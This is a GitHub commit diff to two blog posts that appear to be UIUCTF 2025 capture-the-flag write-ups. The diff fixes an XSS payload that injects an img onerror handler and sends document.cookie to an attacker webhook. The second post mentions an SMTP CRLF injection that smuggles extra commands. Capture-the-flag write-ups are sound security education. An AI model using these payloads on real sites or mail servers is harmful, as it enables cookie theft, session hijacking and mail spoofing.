Skip to content

Commit 66986d9

Browse files
committed
fixed payload and punctuation
1 parent 75ddbc8 commit 66986d9

2 files changed

Lines changed: 6 additions & 6 deletions

File tree

  • content/posts

content/posts/uiuctf25-ruler-of-the-universe/index.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -111,25 +111,25 @@ but `replace` only takes care of the first instance of the character in a string
111111
Knowing all this, and with a bit of trial and error, we can craft a working payload:
112112

113113
```js
114-
crewMessage = img"" /><img src=x onerror="alert(1)" x="
114+
crewMessage = "" /><img src=x onerror="alert(1)" x="
115115
```
116116
117117
During serialization:
118-
- the first `"` in `img""` becomes `&quot;`
119-
- the second `"` closes the `img` attribute
118+
- the first `"` in `""` becomes `&quot;`
119+
- the second `"` closes the `input` attribute
120120
121121
the final markup becomes:
122122
123123
```js
124-
<input … placeholder="Update your message: img&quot;"
124+
<input … placeholder="Update your message: &quot;"
125125
/>
126126
<img src=x onerror="alert(1)" x=>
127127
```
128128
129129
Now it's only a matter of adapting it to our purposes:
130130
131131
```js
132-
img"" /><img src=x onerror="fetch(\'%s?c=\'+encodeURIComponent(document.cookie))" x="
132+
"" /><img src=x onerror="fetch(\'%s?c=\'+encodeURIComponent(document.cookie))" x="
133133
```
134134
135135
Finally, we encode it into the full URL and send a POST request with the link to the Admin Bot to visit the page and retrieve the flag, which is in the bot's cookies, by forwarding it to our webhook:

content/posts/uiuctf25-supermassive-black-hole/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ But since `fix_eols` is deactivated, this is vulnerable to **CRLF injection**.
130130

131131
## Examining the vulnerability
132132

133-
We can use `\n.\r\n`, a.k.a *LF‑dot‑CRLF*, to close our crafted message, the SMTP server will recognize dot-only line as end-of-DATA, and everything that follows (`MAIL FROM:…`, `RCPT TO:…`, etc.) will be interpreted as new SMTP commands.
133+
We can use `\n.\r\n`, a.k.a *LF‑dot‑CRLF*, to close our crafted message, the SMTP server will recognize a dot-only line as end-of-DATA, and everything that follows (`MAIL FROM:…`, `RCPT TO:…`, etc.) will be interpreted as new SMTP commands.
134134

135135
#### The payload
136136

0 commit comments

Comments
 (0)